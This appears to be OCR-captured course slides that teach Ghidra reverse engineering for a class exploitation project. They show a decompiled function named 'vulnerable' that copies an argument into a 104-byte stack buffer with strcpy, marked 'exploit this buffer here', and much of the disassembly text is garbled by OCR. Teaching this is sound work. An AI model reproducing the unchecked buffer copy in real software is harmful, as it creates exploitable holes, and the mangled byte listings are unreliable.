08048c1f c3 RET

. FUNCTION *

int _cdecl _main(undefinedd argc, char * * argv)

BLRIB88
A
#3838
S W
288 @
= o
& ]
b 8
B T e e ]



Adding comments

(@)

You can add comments to annotate the assembly and code
Right-click on assembly/code > Comments > Set Plate Comment or Set Pre Comment

%

UBUABDTU S0
08048bf1 8d 61
08048bf4 c3

undefined
undefined4

undefined4

08048bfS
08048bf6
08048bf8
08048bf9
08048bfc

08048c01

0804806
08048c09
08048c0c
08048c0f
08048c10

08048c12

08048c17
08048cla
08048c1b
08048cle
08048c1f

5
89
53
83
e8

05
09
83
ff
8d
52
89

eg8

83
90
8b
c9
c3

undefinedl

eS

ec
79
00
2§
0o
ec
75
S5

c3
cl
il
c4

Sd

B F [P @ x|

POF 4
fc LEA . [ECX + -Ox4] nc ; hunk.ax replaced with i
RET i/' exploit this buffer here
T T T ey T Ty T F T Y F R TR T I T o |G ine e e SR
* exploit this buffer here!!! > * = | i
EERAR AR AR 71t
undefined vulnerable(undefined4 param_1) 3| char 1o [104] ;
AL:1 <RETURN> 9
Stack[0x4]:4 param_1 XREF([1] : 0804809 (R) 10 /% copy from arg into buffer */ I
Stack[-0x8]:4 local 8 XREF[1] : 08048c1b (R) 11 | strepy(local Jsm ==
Stack[-0x70] :1 local_70 XREF[1]: 08048c0c (*) 12| return; - =
vulnerable XREF([3] Entry Point(*), 3 ¥
_nain:08048c68(c), 080c8650 ]1_, {} Exit EUNEARRIONEOIS
PUSH Commit Params/Return P
Mov SF Commit Local Names
PUSH .
74 suB ,0x74 Secondary Highlight >
00 CALL __xB6.get_pc_thunk.ax Copy Ctri+C
53 ADD EAX, Ox953f Set Plate Comment... COMTEILS
re Comment... Find... Ctrl+F
08 sus ESP, 0x8 ” Semicolon References >
08 PUSH dword ptr [EEF + param_1]
94 LEA EDX=>local_70, [EBP + -Ox6c] Properties
PUSH E
MOy C| EAY
I copy from arg into buffer I
fS CACC tTepy

10

fc

ADD
NOP
Mov
LEAVE
RET

,0x10

EBX,dword ptr [EEF + local_8]

e e R e TR P PP

'

FLINCTTON

R O E——————— -y

L @~ X

Decompile; vulnerable - (t&rg

=
v




Limitations Of Ghidra

documentation!

What we give you here
should be sufficient, but
independent interest is

e You won't get the original variable names always encouraged!

o  You will not get the source code for target8!
e Decompilation is “best effort”

o  While it will have the same functionality, it will be significantly less readable than human code,
though hopefully much more readable than disassembly

e Types can be guessed wrong
o Two types may have overlapping functionality, which Ghidra will have to guess on
e Many of the functions presented will come from imported libraries
o Avoid going down these rabbit holes. Concentrate on shallow call depth starting from _main.

It is written in Java @




Resource

e Ghidra Shortcuts Cheat Sheet — ghidra-sre.ora/CheatSheet.html

Ghidra is a huge, complex
application, but you only need to
scratch the surface to complete
this project. Focus on the parts
we describe here and in the spec!



https://ghidra-sre.org/CheatSheet.html
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See You Next Week!



